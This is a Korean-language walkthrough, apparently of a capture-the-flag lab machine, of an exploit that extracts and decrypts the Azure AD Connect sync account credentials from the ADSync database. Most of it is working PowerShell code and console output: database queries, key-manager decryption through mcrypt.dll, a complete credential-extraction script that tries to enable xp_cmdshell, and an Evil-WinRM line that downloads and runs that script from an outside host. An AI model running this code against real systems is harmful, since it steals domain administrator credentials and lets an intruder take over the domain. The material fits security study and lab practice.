azuread_decrypt_msol

์ด ์ต์Šคํ”Œ๋กœ์ž‡์€ Azure AD Connect ๋™๊ธฐํ™”์—์„œ ์‚ฌ์šฉํ•˜๋Š” MSOL ์„œ๋น„์Šค ๊ณ„์ •(DCSync ํ—ˆ์šฉ)์„ ๋คํ”„ํ•˜๋Š” ์ต์Šคํ”Œ๋กœ์ž‡์ž…๋‹ˆ๋‹ค.

์ด ์ต์Šคํ”Œ๋กœ์ž‡์„ ํ†ตํ•ด ์•„์ด๋””์™€ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ด€๋ จ ๋งํฌ : ์ต์Šคํ”Œ๋กœ์ž‡ ์ƒ์„ธ ์„ค๋ช…, ์‹ค์ œ ์˜ˆ์‹œ

์ต์Šคํ”Œ๋กœ์ž‡์€ ํฌ๊ฒŒ ์„ธ ๋ถ€๋ถ„์œผ๋กœ ๋‚˜๋‰ฉ๋‹ˆ๋‹ค:

  • DB์—์„œ ์ •๋ณด๋ฅผ ๊ฐ€์ ธ์™€ ํ‚ค๋งค๋‹ˆ์ €์—์„œ ์•”ํ˜ธํ™” ํ‚ค๋ฅผ ๊ฒ€์ƒ‰ํ•ฉ๋‹ˆ๋‹ค.

  • DB์—์„œ ์„ค์ • ๋ฐ ์•”ํ˜ธํ™”๋œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค.

  • ํ‚ค๋ฅผ ๊ฐ€์ ธ์™€์„œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ํ•ด๋…ํ•ฉ๋‹ˆ๋‹ค.

ํ‚ค ์ •๋ณด ๊ฐ€์ ธ์˜ค๊ธฐ

์ด ์ฝ”๋“œ๋Š” ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ๊ฐ„๋‹จํ•œ ์ฟผ๋ฆฌ๋ฅผ ์ˆ˜ํ–‰ํ•˜๊ณ  ๊ทธ ๊ฒฐ๊ณผ๋ฅผ ์ ์ ˆํ•œ ๋ณ€์ˆ˜์— ์ €์žฅํ•˜๋Š” ๊ฒƒ๋ฟ์ž…๋‹ˆ๋‹ค:

$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Server=127.0.0.1;Database=ADSync;Integrated Security=True"
$client.Open()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()

๋ชฌํ…Œ๋ฒ ๋ฅด๋ฐ์—์„œ sqlcmd๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋™์ผํ•œ ์ฟผ๋ฆฌ๋ฅผ ์ˆ˜ํ–‰ํ•˜์—ฌ ๊ฒฐ๊ณผ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

*Evil-WinRM* PS C:\> sqlcmd -d ADSync -Q 'SELECT keyset_id, instance_id, entropy FROM mms_server_configuration'
keyset_id   instance_id                          entropy
----------- ------------------------------------ ------------------------------------
          1 1852B527-DD4F-4ECF-B541-EFCCBFF29E31 194EC2FC-F186-46CF-B44D-071EB61F49CD

(1 rows affected)

๊ตฌ์„ฑ ์ •๋ณด ๊ฐ€์ ธ์˜ค๊ธฐ

๋‹ค์Œ ์„น์…˜์—์„œ๋Š” ๊ตฌ์„ฑ ์ •๋ณด๋ฅผ ๊ฐ€์ ธ์˜ค๋Š” ๋‘ ๋ฒˆ์งธ ์ฟผ๋ฆฌ๋ฅผ ์ฝ”๋“œํ™”ํ•ฉ๋‹ˆ๋‹ค:

$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()

๋‹ค์‹œ ๋งํ•˜์ง€๋งŒ, sqlcmd๋กœ ๋™์ผํ•œ ์ฟผ๋ฆฌ๋ฅผ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์ง€๋งŒ ์ „์ฒด ๊ฒฐ๊ณผ๊ฐ€ ์ธ์‡„๋˜์ง€๋Š” ์•Š์Šต๋‹ˆ๋‹ค:

*Evil-WinRM* PS C:\> sqlcmd -d ADSync -Q 'SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = "AD"'
private_configuration_xml                                                                                                                                                                                                                                        encrypted_configuration
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
<adma-configuration>
 <forest-name>MEGABANK.LOCAL</forest-name>
 <forest-port>0</forest-port>
 <forest-guid>{00000000-0000-0000-0000-000000000000}</forest-guid>
 <forest-login-user>administrator</forest-login-user>
 <forest-login-domain>MEGABANK.LOCAL 8AAAAAgAAABQhCBBnwTpdfQE6uNJeJWGjvps08skADOJDqM74hw39rVWMWrQukLAEYpfquk2CglqHJ3GfxzNWlt9+ga+2wmWA0zHd3uGD8vk/vfnsF3p2aKJ7n9IAB51xje0QrDLNdOqOxod8n7VeybNW/1k+YWuYkiED3xO8Pye72i6D9c5QTzjTlXe5qgd4TCdp4fmVd+UlL/dWT/mhJHve/d9zFr2EX5r5+1TLbJCzYUHqFLvvpCd1rJEr68g

(1 rows affected)

์ „์ฒด ๊ฒฐ๊ณผ๋ฅผ ์–ป๊ธฐ ์œ„ํ•ด -y 0์ด ์ž‘๋™ํ•˜๋Š” ๊ฒƒ์„ ๋ณด์—ฌ์ฃผ๋Š” ์ด ์Šคํƒ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ๊ฒŒ์‹œ๋ฌผ์„ ๋ฐœ๊ฒฌํ–ˆ์Šต๋‹ˆ๋‹ค:

*Evil-WinRM* PS C:\> sqlcmd -y0 -d ADSync -Q 'SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = "AD"'
<adma-configuration>
 <forest-name>MEGABANK.LOCAL</forest-name>
 <forest-port>0</forest-port>
 <forest-guid>{00000000-0000-0000-0000-000000000000}</forest-guid>
 <forest-login-user>administrator</forest-login-user>
 <forest-login-domain>MEGABANK.LOCAL</forest-login-domain>
 <sign-and-seal>1</sign-and-seal>
 <ssl-bind crl-check="0">0</ssl-bind>
 <simple-bind>0</simple-bind>
 <default-ssl-strength>0</default-ssl-strength>
 <parameter-values>
  <parameter name="forest-login-domain" type="string" use="connectivity" dataType="String">MEGABANK.LOCAL</parameter>
  <parameter name="forest-login-user" type="string" use="connectivity" dataType="String">administrator</parameter>
  <parameter name="password" type="encrypted-string" use="connectivity" dataType="String" encrypted="1" />
  <parameter name="forest-name" type="string" use="connectivity" dataType="String">MEGABANK.LOCAL</parameter>
  <parameter name="sign-and-seal" type="string" use="connectivity" dataType="String">1</parameter>
  <parameter name="crl-check" type="string" use="connectivity" dataType="String">0</parameter>
  <parameter name="ssl-bind" type="string" use="connectivity" dataType="String">0</parameter>
  <parameter name="simple-bind" type="string" use="connectivity" dataType="String">0</parameter>
  <parameter name="Connector.GroupFilteringGroupDn" type="string" use="global" dataType="String" />
  <parameter name="ADS_UF_ACCOUNTDISABLE" type="string" use="global" dataType="String" intrinsic="1">0x2</parameter>
  <parameter name="ADS_GROUP_TYPE_GLOBAL_GROUP" type="string" use="global" dataType="String" intrinsic="1">0x00000002</parameter>
  <parameter name="ADS_GROUP_TYPE_DOMAIN_LOCAL_GROUP" type="string" use="global" dataType="String" intrinsic="1">0x00000004</parameter>
  <parameter name="ADS_GROUP_TYPE_LOCAL_GROUP" type="string" use="global" dataType="String" intrinsic="1">0x00000004</parameter>
  <parameter name="ADS_GROUP_TYPE_UNIVERSAL_GROUP" type="string" use="global" dataType="String" intrinsic="1">0x00000008</parameter>
  <parameter name="ADS_GROUP_TYPE_SECURITY_ENABLED" type="string" use="global" dataType="String" intrinsic="1">0x80000000</parameter>
  <parameter name="Forest.FQDN" type="string" use="global" dataType="String" intrinsic="1">MEGABANK.LOCAL</parameter>
  <parameter name="Forest.LDAP" type="string" use="global" dataType="String" intrinsic="1">DC=MEGABANK,DC=LOCAL</parameter>
  <parameter name="Forest.Netbios" type="string" use="global" dataType="String" intrinsic="1">MEGABANK</parameter>
</parameter-values>
 <password-hash-sync-config>
            <enabled>1</enabled>
            <target>{B891884F-051E-4A83-95AF-2544101C9083}</target>
         </password-hash-sync-config>
</adma-configuration>
8AAAAAgAAABQhCBBnwTpdfQE6uNJeJWGjvps08skADOJDqM74hw39rVWMWrQukLAEYpfquk2CglqHJ3GfxzNWlt9+ga+2wmWA0zHd3uGD8vk/vfnsF3p2aKJ7n9IAB51xje0QrDLNdOqOxod8n7VeybNW/1k+YWuYkiED3xO8Pye72i6D9c5QTzjTlXe5qgd4TCdp4fmVd+UlL/dWT/mhJHve/d9zFr2EX5r5+1TLbJCzYUHqFLvvpCd1rJEr68g95aWEcUSzl7mTXwR4Pe3uvsf2P8Oafih7cjjsubFxqBioXBUIuP+BPQCETPAtccl7BNRxKb2aGQ=

(1 rows affected)

์•”ํ˜ธํ™”๋œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” ํ•˜๋‹จ์—, ์„ค์ •์€ ์ƒ๋‹จ์— ์žˆ์Šต๋‹ˆ๋‹ค.

์•”ํ˜ธ ํ•ด๋…

์Šคํฌ๋ฆฝํŠธ์˜ ์„ธ ๋ฒˆ์งธ ์„น์…˜์€ ๋ณตํ˜ธํ™”ํ•ฉ๋‹ˆ๋‹ค. ๋จผ์ € ํ‚ค ๋งค๋‹ˆ์ €์—์„œ ๋ณตํ˜ธํ™” ๊ฐ์ฒด๋ฅผ ๊ฐ€์ ธ์˜ค๋Š” ์ผ๋ จ์˜ ๊ณผ์ •์„ ๊ฑฐ์นฉ๋‹ˆ๋‹ค:

add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$km.GetActiveCredentialKey([ref]$key)
$key2 = $null
$km.GetKey(1, [ref]$key2)

์ด์ œ ์•”ํ˜ธ๋ฅผ ํ•ด๋…ํ•ฉ๋‹ˆ๋‹ค:

$decrypted = $null
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)

๋‚˜๋จธ์ง€๋Š” ์ถœ๋ ฅ๋ฌผ์˜ ์„œ์‹์„ ์ง€์ •ํ•˜๊ณ  ์ธ์‡„ํ•˜๊ธฐ๋งŒ ํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค:

$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerXML}}
Write-Host ("Domain: " + $domain.Domain)
Write-Host ("Username: " + $username.Username)
Write-Host ("Password: " + $password.Password)

์ƒˆ๋กœ์šด POC

์ฐจ์ด์ 

๋ช‡ ๊ฐ€์ง€ ์ถ”๊ฐ€ ์ธ์‡„ ๋ฌธ๊ตฌ๋ฅผ ์ œ์™ธํ•˜๊ณ ๋Š” ์ƒˆ POC์˜ ์ฒ˜์Œ ๋‘ ์„น์…˜์€ ์™„์ „ํžˆ ๋™์ผํ•ฉ๋‹ˆ๋‹ค. ์„ธ ๋ฒˆ์งธ ๋ถ€๋ถ„์€ ์ƒˆ๋กœ์šด ๋ถ€๋ถ„์ž…๋‹ˆ๋‹ค. ํŒŒ์›Œ์…ธ์—์„œ ํ‚ค๋ฅผ ๊ฐ€์ ธ์™€์„œ ์•”ํ˜ธ๋ฅผ ํ•ด๋…ํ•˜๋Š” ๋Œ€์‹ , ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์—์„œ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋„๋ก xp_cmdshell์„ ํ†ตํ•ด ํ•ด๋‹น ๋ช…๋ น์„ ์ „๋‹ฌํ•ฉ๋‹ˆ๋‹ค:

$cmd = $client.CreateCommand()
$cmd.CommandText = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell.exe -c `"add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$km = New-Object -TypeName Microsoft.DirectoryServices.                 MetadirectoryServices.Cryptography.KeyManager;`$km.LoadKeySet([guid]''$entropy'', [guid]''$instance_id'', $key_id);`$key = `$null;`$km.GetActiveCredentialKey([ref]`$key);`$key2 = `$null;`$km.GetKey(1, [ref]`$key2);`$decrypted = `$null;`$key2.DecryptBase64ToString(''$crypted'', [ref]`$decrypted);Write-Host        `$decrypted`"'"
$reader = $cmd.ExecuteReader()

$decrypted = [string]::Empty

while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false) {
    $decrypted += $reader.GetString(0)
}

if ($decrypted -eq [string]::Empty) {
    Write-Host "[!] Error using xp_cmdshell to launch our decryption powershell"
    return
}

์‹คํ–‰ํ•˜๊ธฐ

์ƒˆ POC ์ฝ”๋“œ์˜ ์‚ฌ๋ณธ์„ ๋‹ค์šด๋กœ๋“œํ•˜๊ณ  ์›๋ณธ์—์„œ ์ˆ˜ํ–‰ํ•œ ์ž‘์—…๊ณผ ์ผ์น˜ํ•˜๋„๋ก ์—ฐ๊ฒฐ ๋ฌธ์ž์—ด์„ ์—…๋ฐ์ดํŠธํ–ˆ์Šต๋‹ˆ๋‹ค:

Write-Host "AD Connect Sync Credential Extract v2 (@_xpn_)"
Write-Host "`t[ Updated to support new cryptokey storage method ]`n"

$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Server=127.0.0.1;Database=ADSync;Integrated Security=True"

try {
    $client.Open()
} catch {
    Write-Host "[!] Could not connect to localdb..."
    return
}

Write-Host "[*] Querying ADSync localdb (mms_server_configuration)"

$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
if ($reader.Read() -ne $true) {
    Write-Host "[!] Error querying mms_server_configuration"
    return
}

$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()

Write-Host "[*] Querying ADSync localdb (mms_management_agent)"

$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
if ($reader.Read() -ne $true) {
    Write-Host "[!] Error querying mms_management_agent"
    return
}

$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()

Write-Host "[*] Using xp_cmdshell to run some Powershell as the service user"

$cmd = $client.CreateCommand()
$cmd.CommandText = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell.exe -c `"add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$km = New-Object -TypeName Microsoft.DirectoryServices.                 MetadirectoryServices.Cryptography.KeyManager;`$km.LoadKeySet([guid]''$entropy'', [guid]''$instance_id'', $key_id);`$key = `$null;`$km.GetActiveCredentialKey([ref]`$key);`$key2 = `$null;`$km.GetKey(1, [ref]`$key2);`$decrypted = `$null;`$key2.DecryptBase64ToString(''$crypted'', [ref]`$decrypted);Write-Host        `$decrypted`"'"
$reader = $cmd.ExecuteReader()

$decrypted = [string]::Empty

while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false) {
    $decrypted += $reader.GetString(0)
}

if ($decrypted -eq [string]::Empty) {
    Write-Host "[!] Error using xp_cmdshell to launch our decryption powershell"
    return
}

$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerText}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerText}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}

Write-Host "[*] Credentials incoming...`n"

Write-Host "Domain: $($domain.Domain)"
Write-Host "Username: $($username.Username)"
Write-Host "Password: $($password.Password)"

์ด์ œ ์ฒ˜์Œ์— ์‹คํ–‰ํ–ˆ๋˜ ๊ฒƒ์ฒ˜๋Ÿผ ์‹คํ–‰ํ•ด ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค. xp_cmdshell์—์„œ ์‹คํŒจํ•ฉ๋‹ˆ๋‹ค:

*Evil-WinRM* PS C:\> iex(new-object net.webclient).downloadstring('http://10.10.14.11/Get-MSOLCredentialsv2.ps1')
AD Connect Sync Credential Extract v2 (@_xpn_)
        [ Updated to support new cryptokey storage method ]

[*] Querying ADSync localdb (mms_server_configuration)
[*] Querying ADSync localdb (mms_management_agent)
[*] Using xp_cmdshell to run some Powershell as the service user
Exception calling "ExecuteReader" with "0" argument(s): "User does not have permission to perform this action.
You do not have permission to run the RECONFIGURE statement.
The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.
You do not have permission to run the RECONFIGURE statement.
The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'."
At line:46 char:1
+ $reader = $cmd.ExecuteReader()
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : SqlException
Exception calling "Read" with "0" argument(s): "Invalid attempt to call Read when reader is closed."
At line:50 char:8
+ while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false)  ...
+        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : InvalidOperationException
[!] Error using xp_cmdshell to launch our decryption powershell

์ด DB์—์„œ xp_cmdshell์ด ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์ง€ ์•Š์œผ๋ฉฐ, ์ €ํฌ ๊ณ„์ •์— ์ด๋ฅผ ํ™œ์„ฑํ™”ํ•  ์ˆ˜ ์žˆ๋Š” ์ถฉ๋ถ„ํ•œ ๊ถŒํ•œ์ด ์—†์Šต๋‹ˆ๋‹ค.

sqlcmd์—์„œ ์‹œ๋„ํ•ด๋„ ๊ฐ™์€ ๊ฒฐ๊ณผ๊ฐ€ ๋‚˜์˜ต๋‹ˆ๋‹ค:

*Evil-WinRM* PS C:\> sqlcmd -y0 -d ADSync -Q "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;"
Msg 15247, Level 16, State 1, Server MONTEVERDE, Procedure sp_configure, Line 105
User does not have permission to perform this action.
Msg 5812, Level 14, State 1, Server MONTEVERDE, Line 1
You do not have permission to run the RECONFIGURE statement.
Msg 15123, Level 16, State 1, Server MONTEVERDE, Procedure sp_configure, Line 62
The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.
Msg 5812, Level 14, State 1, Server MONTEVERDE, Line 1
You do not have permission to run the RECONFIGURE statement.

Last updated